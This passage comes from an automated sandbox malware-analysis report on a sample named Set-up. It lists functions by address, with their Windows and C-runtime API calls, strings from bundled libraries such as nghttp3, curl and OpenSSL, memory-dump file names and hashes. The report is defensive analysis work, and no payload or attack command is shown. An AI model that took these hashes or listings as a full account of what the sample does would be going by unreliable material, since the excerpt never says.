tnode->pri.urgency < NGHTTP3_URGENCY_LEVELS, xrefs: 001B435A, 001B43EA
nghttp3_conn.c, xrefs: 001B4355, 001B43E5

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: nghttp3_conn.c$tnode->pri.urgency < NGHTTP3_URGENCY_LEVELS
API String ID: 1222420520-4133914617
Opcode ID: b3441983fd29682457af571cdc099d6fc5b8ada999243d1ea18e96384e4e3211
Instruction ID: 6d0c19527b1f4fab4a160807412d48c049ce74b28fd8cc6a0ce154ec2a7afd34
Opcode Fuzzy Hash: b3441983fd29682457af571cdc099d6fc5b8ada999243d1ea18e96384e4e3211
Instruction Fuzzy Hash: 4131B172500215AFE7129F54EC09FDA37E9BF66319F0904B4E9449B1A3E736D428C7A1

Function 001BA090 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

memmove.API-MS-WIN-CRT-PRIVATE-L1-1-0(C2E85040,-0000000F,00000000,?,?,?,?,001B70DF,00000001,?,?,?), ref: 001BA0E5

Part of subcall function 001BA140: memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-00000011,?,?), ref: 001BA29A

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(ksl->head,nghttp3_ksl.c,00000218,?,?,?,?,001B70DF,00000001,?,?,?), ref: 001BA135

Strings

nghttp3_ksl.c, xrefs: 001BA12B
ksl->head, xrefs: 001BA130

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assertmemcpymemmove
String ID: ksl->head$nghttp3_ksl.c
API String ID: 374949274-2784241221
Opcode ID: c9b1a95330e29618407a7e7470bfa1f26d6e7ff0e7a9c6ede211fac261919889
Instruction ID: bdc8599e780f20e163087341742f0142d9161d8a296d878062821dc17855877c
Opcode Fuzzy Hash: c9b1a95330e29618407a7e7470bfa1f26d6e7ff0e7a9c6ede211fac261919889
Instruction Fuzzy Hash: F21193702002059FDB049F09D88199AFBA6FFC5314F58C66EE9094B642D335EC44CBA2

Function 001488C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

getsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 0014893B
setsockopt.WS2_32(?,0000FFFF,00001001,00004020,00000004), ref: 00148960

Part of subcall function 00137620: GetModuleHandleA.KERNEL32(ntdll), ref: 0013763F
Part of subcall function 00137620: GetProcAddress.KERNEL32(00000000,RtlVerifyVersionInfo), ref: 0013764B
Part of subcall function 00137620: memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,0000010C), ref: 00137695
Part of subcall function 00137620: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,?), ref: 001376D3
Part of subcall function 00137620: VerSetConditionMask.KERNEL32(00000000,?,00000001,?), ref: 001376DA
Part of subcall function 00137620: VerSetConditionMask.KERNEL32(00000000,?,00000020,?,?,00000001,?), ref: 001376E4
Part of subcall function 00137620: VerSetConditionMask.KERNEL32(00000000,?,00000010,?,?,00000020,?,?,00000001,?), ref: 001376EB
Part of subcall function 00137620: VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,?,?,00000020,?,?,00000001,?), ref: 001376FC

Strings

@, xrefs: 00148945
@, xrefs: 001488C4

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ConditionMask$AddressHandleModuleProcgetsockoptmemsetsetsockopt
String ID: @$ @
API String ID: 2103437208-1089145642
Opcode ID: 4adbd8b38699f0e619745c20533256a9e28d17874b622fcd51b686cfe2b362ce
Instruction ID: 695bff31779df5e6c7e414f23015dfb93ad728edc1aea6f74c459261f4c7a4c3
Opcode Fuzzy Hash: 4adbd8b38699f0e619745c20533256a9e28d17874b622fcd51b686cfe2b362ce
Instruction Fuzzy Hash: 050180B15087429BF7109F14ED4A7BE77E4BF81708F01452CEA846A2E1E7B58988C782

Function 00238970 Relevance: 6.7, APIs: 5, Instructions: 425COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,FFC0BFFA,?), ref: 00238A9A
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,00000001,?,?), ref: 00238AEA
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?), ref: 00238BD7
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,?,?), ref: 00238C2B
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,?,?), ref: 00238E63

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 3a6de16d7b1b34158d5e2fb7dcd18fa41187bef40189692985b0b84542096435
Instruction ID: 2645e83d04c6c575a7313cf8c4b95e2c0318b2546fb96d842e8e4e149f26c2c1
Opcode Fuzzy Hash: 3a6de16d7b1b34158d5e2fb7dcd18fa41187bef40189692985b0b84542096435
Instruction Fuzzy Hash: 0DF195F2A107128FDB18CF18C59075ABBA6FF84314F18C56DE9498B399DB74E865CB80

Function 0013C5F0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 275COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-0000000C,?,?), ref: 0013C685

Part of subcall function 001173F0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,#HttpOnly_,?,0011CA95,006E9AB8,00000467,mprintf.c), ref: 0011741D
Part of subcall function 001173F0: memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-00000008,?,00000001), ref: 00117445

Part of subcall function 001173F0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,0011CA95,006E9AB8,00000467,mprintf.c), ref: 00117486
Part of subcall function 001173F0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 001174AA
Part of subcall function 001173F0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 001174B2

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-0000000C,?,?), ref: 0013C6CF
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-0000000C,?,?), ref: 0013C719

Strings

vtls/vtls.c, xrefs: 0013C653, 0013C69D, 0013C6E7, 0013C72E, 0013C756, 0013C77F, 0013C7A8, 0013C7D1, 0013C7FA, 0013C823, 0013C84C, 0013C875, 0013C935, 0013C95F

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpy$__acrt_iob_func_errnofflushstrlen
String ID: vtls/vtls.c
API String ID: 1294796744-169717415
Opcode ID: 98ff3c13854f66eb8752d69febc138158881d1c399fd1343e04ae6dfacf8fc85
Instruction ID: ab09f8d70628128a0da0ef098b4d788927d2964e1f9a17fdeb7437b510e73f36
Opcode Fuzzy Hash: 98ff3c13854f66eb8752d69febc138158881d1c399fd1343e04ae6dfacf8fc85
Instruction Fuzzy Hash: 74A160B0B017039BD7208F6AD845B12B7E8BF64744F094539E958EB782FB71E950CB90

Function 0029E720 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 207COMMON

Download Yara Rule

APIs

memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000000), ref: 0029E9A3

Strings

crypto/bn/bn_shift.c, xrefs: 0029E7E9
, xrefs: 0029E992
BN_lshift, xrefs: 0029E7E2

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memset
String ID: $BN_lshift$crypto/bn/bn_shift.c
API String ID: 2221118986-2228461501
Opcode ID: 080ebe42fddff454f790b5504d7780b8e5320f8587f8c772cfa2e6efa3d80f19
Instruction ID: 5aa7a5dd4910dd87a9b7ee7e01c4a34897038a35f8b63c34a6979305e57b1690
Opcode Fuzzy Hash: 080ebe42fddff454f790b5504d7780b8e5320f8587f8c772cfa2e6efa3d80f19
Instruction Fuzzy Hash: 1D710071A187118BDB14DF29C88062AF7A5AFDA310F098B2EFDA967391D770AC11CB41

Function 00314870 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 179stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,002C05BF,00000000,00000000,input), ref: 00314986
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-00000008,?,?), ref: 003149D4

Strings

crypto/property/property_string.c, xrefs: 00314926, 00314959, 0031499A, 003149F3, 00314A4D, 00314A72
ossl_property_string, xrefs: 0031491C, 0031494F

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpystrlen
String ID: crypto/property/property_string.c$ossl_property_string
API String ID: 3412268980-3682758481
Opcode ID: c7c8cd73263460bfe58bccc08d470332d972f947cd773b903f7dbfba8b1c6479
Instruction ID: c538abf817789cbc68704ddeab6b5ad3fe3e64dd73fcc7c274a0894c3bfe4a7f
Opcode Fuzzy Hash: c7c8cd73263460bfe58bccc08d470332d972f947cd773b903f7dbfba8b1c6479
Instruction Fuzzy Hash: 415108B6E942056BD712BB64EC03F6B76985F14748F090038FD48A2253FB65EA70CB92

Function 00306590 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 160COMMON

Download Yara Rule

APIs

memcmp.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00000000), ref: 0030662C

Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7262
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7285
Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72C5
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72E8

Strings

ocsp_match_issuerid, xrefs: 003066A9, 003066E3, 0030675D
crypto/ocsp/ocsp_vfy.c, xrefs: 003066B3, 003066ED, 00306767

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strcpystrlen$memcmp
String ID: crypto/ocsp/ocsp_vfy.c$ocsp_match_issuerid
API String ID: 1653033214-3047229099
Opcode ID: 0bc38fd293d5101b5ae6121e5bb41e501beafafc381f243bd3c3f897c754e017
Instruction ID: 663b6252eff4912861072906c5348ee4319b29c086946796c35d17dfe926394b
Opcode Fuzzy Hash: 0bc38fd293d5101b5ae6121e5bb41e501beafafc381f243bd3c3f897c754e017
Instruction Fuzzy Hash: 8B4167E5B453003BEA2236702C97F6B310C4F50758F140638FE099D2C7FAA6DA348AA7

Function 001D8710 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 001D8769
SleepConditionVariableCS.KERNEL32(?,?,000000FF), ref: 001D87D1

Part of subcall function 001D88B0: QueryPerformanceFrequency.KERNEL32(?), ref: 001D88C1
Part of subcall function 001D88B0: QueryPerformanceCounter.KERNEL32(?), ref: 001D88CC

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: PerformanceQuery$ConditionCounterCriticalEnterFrequencySectionSleepVariable
String ID:
API String ID: 3112449238-0
Opcode ID: 6de7a39156943b0c48857361634e7b23079e38c2e4eaf884b08febc66da285e0
Instruction ID: d889e57276539f3a7e512fa59b390b395e7ffffacdc0638e56eb89f9cc107acb
Opcode Fuzzy Hash: 6de7a39156943b0c48857361634e7b23079e38c2e4eaf884b08febc66da285e0
Instruction Fuzzy Hash: 0C31F8B2B00201ABEB089A31DC85B6BB6A8BB90340F54453DEC16D7291DF31FD14D7A1

Function 002C60E0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(002C7CCC,?,00000000,002C7127,002C7CCC,00000000,002ECAB7,00111A70), ref: 002C60E3
SetLastError.KERNEL32(00000000), ref: 002C61A5

Strings

crypto/err/err.c, xrefs: 002C6275
crypto/err/err_local.h, xrefs: 002C620C, 002C6227, 002C6257

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ErrorLast
String ID: crypto/err/err.c$crypto/err/err_local.h
API String ID: 1452528299-2963546075
Opcode ID: c408cb7f1a97827ccbe60df78e020c7034ae734270c146243c8d45301c0b67a9
Instruction ID: b63893b857e41d0c397527f92ce2008d3ac0657c95eeac02ab316f5d53baea03
Opcode Fuzzy Hash: c408cb7f1a97827ccbe60df78e020c7034ae734270c146243c8d45301c0b67a9
Instruction Fuzzy Hash: CB31F4B1AA430336E6211F68BC0BFA57700BB8475DF540328FE14652D3E7A56834CE92

Function 002A09A0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 107COMMON

Download Yara Rule

APIs

memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000008,?,00000008,?,?,?,?,?,?,?,0033066D,?,?,?), ref: 002A0AAD

Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7262
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7285
Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72C5
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72E8

Strings

crypto/buffer/buffer.c, xrefs: 002A09D2, 002A0A31, 002A0A47, 002A0A7F
BUF_MEM_grow_clean, xrefs: 002A09CB

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strcpystrlen$memset
String ID: BUF_MEM_grow_clean$crypto/buffer/buffer.c
API String ID: 2970985887-4138242688
Opcode ID: 2012fab889d0d96b7e281a4c766161d324744de34888560a556a17484deee94b
Instruction ID: 3121de4357a23965b317ce72b7876187c44dbe9da42b04083f578b8893799280
